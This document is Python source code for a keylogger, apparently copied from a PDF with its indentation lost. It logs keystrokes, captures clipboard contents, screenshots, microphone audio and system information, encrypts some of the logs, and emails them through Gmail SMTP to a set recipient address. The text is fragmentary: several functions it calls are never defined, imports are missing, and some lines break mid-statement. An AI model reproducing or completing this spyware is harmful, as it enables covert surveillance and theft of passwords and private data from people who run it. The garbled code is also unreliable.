Source Code Keylogger Capture Tool
Source Code Keylogger Capture Tool
import win32clipboard
# to get usernames
import getpass
# for getting some more computer processing
from requests import get
##########################################################
##########################################################
keys_information = "key_log.txt"
# variable to store system variable
system_information = "syseminfo.txt"
clipboard_information = "clipboard.txt"
audio_information = "audio.wav"
screenshot_information = "screenshot.png"
keys_information_e = "e_key_log.txt"
system_information_e = "e_systeminfo.txt"
clipboard_information_e = "e_clipboard.txt"
# TO enmail address
toaddr = "[email protected]" # Enter the email address you want to send your information
to
file_path = "C:\\Users\\iamsa\\Desktop\\Crryptography"
extend = "\\"
file_merge = file_path + extend
##########################################################
##########################################################
# end of function
# calling function
computer_information()
##########################################################
##########################################################
##########################################################
##########################################################
# get the clipboard contents (the contents we copy and paste while the program is running)
def copy_clipboard():
# only storing string content while copy and pasting
with open(file_path + extend + clipboard_information, "a") as f:
try:
win32clipboard.OpenClipboard()
pasted_data = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
# end of function
# calling this function
copy_clipboard()
##########################################################
##########################################################
# end of function
# calling this function
microphone()
##########################################################
##########################################################
# get screenshots
def screenshot():
im = ImageGrab.grab()
im.save(file_path + extend + screenshot_information)
# end of function
# calling this fucntion
screenshot()
##########################################################
##########################################################
try:
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
print("Attempting to log in...")
s.login(fromaddr, password) # Replace 'password' with App Password if needed
print("Login successful")
s.sendmail(fromaddr, toaddr, msg.as_string())
print('Email sent successfully')
except smtplib.SMTPAuthenticationError as e:
print("SMTP Authentication Error:", e)
except Exception as e:
print("An error occurred:", e)
finally:
s.quit()
# end of function
##########################################################
##########################################################
#main file
number_of_iterations = 0
currentTime = time.time()
stoppingTime = time.time() + time_iteration
count = 0
keys =[]
def on_press(key):
global keys, count, currentTime
print(key)
keys.append(key)
count += 1
#getting the current time when the kay is pressed
currentTime = time.time()
if count >= 1:
count = 0
write_file(keys)
keys =[]
def write_file(keys):
with open(file_path + extend + keys_information, "a") as f:
# formatting the key-logger text file in a convienient way
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
f.write('\n')
f.close()
elif k.find("Key") == -1:
f.write(k)
f.close()
def on_release(key):
if key == Key.esc:
return False
if currentTime > stoppingTime:
return False
if currentTime > stoppingTime: #when the execution of the keylogger is over, it's time to
send the mail
screenshot()
send_email(screenshot_information, file_path + extend + screenshot_information, toaddr)
copy_clipboard()
send_email(clipboard_information, file_path + extend + clipboard_information, toaddr)
computer_information()
send_email(system_information, file_path + extend + system_information, toaddr)
microphone()
send_email(audio_information, file_path + extend + audio_information, toaddr)
#ending calling functions part
number_of_iterations += 1
currentTime = time.time()
##########################################################
##########################################################
# Encrypt files
files_to_encrypt = [file_merge + system_information, file_merge + clipboard_information,
file_merge + keys_information]
encrypted_file_names = [file_merge + system_information_e, file_merge +
clipboard_information_e, file_merge + keys_information_e]
count = 0
fernet = Fernet(key)
encrypted = fernet.encrypt(data)
# after each iteration, let the system rest for 2mins while the sending of information can
happen smoothly
time.sleep(1)
##########################################################
##########################################################
#end